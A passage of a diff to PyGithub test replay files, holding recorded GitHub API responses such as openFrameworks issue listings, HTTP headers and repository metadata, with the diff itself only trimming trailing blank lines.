","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"closed_issues":0,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"closed_issues":0,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/PaginatedList.testTotalCountWithDictionary.txt b/tests/ReplayData/PaginatedList.testTotalCountWithDictionary.txt index 77846b8d01..a05d8af197 100644 --- a/tests/ReplayData/PaginatedList.testTotalCountWithDictionary.txt +++ b/tests/ReplayData/PaginatedList.testTotalCountWithDictionary.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Oct 2021 05:40:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3bdd16ac7c1853f4988e9c4edeca057b1bffd3ffe00962f20d0bf1773c82f52b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1634708983'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C666:6691:1BB4B8:1E6EE3:616FABB2')] {"users":[],"teams":[]} - diff --git a/tests/ReplayData/PaginatedList.testTotalCountWithNoLastPage.txt b/tests/ReplayData/PaginatedList.testTotalCountWithNoLastPage.txt index 8062d19e8e..0ef72c3d97 100644 --- a/tests/ReplayData/PaginatedList.testTotalCountWithNoLastPage.txt +++ b/tests/ReplayData/PaginatedList.testTotalCountWithNoLastPage.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Mon, 03 Aug 2020 09:02:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1596448362'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"d773714fdca21c9206d9d35e50fcd1ff"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="first"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C662:025B:26F607:2FDFF2:5F27D299')] [] - diff --git a/tests/ReplayData/Persistence.setUp.txt b/tests/ReplayData/Persistence.setUp.txt index 9921cd3ea9..3812443a0c 100644 --- a/tests/ReplayData/Persistence.setUp.txt +++ b/tests/ReplayData/Persistence.setUp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13698'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"8600bedcb7fed1d8065e1693e05529ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:08 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] {"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:09:11Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-08-21T20:32:08Z","pushed_at":"2013-08-21T20:31:45Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7437,"watchers_count":248,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":17,"forks":70,"open_issues":17,"watchers":248,"master_branch":"master","default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API 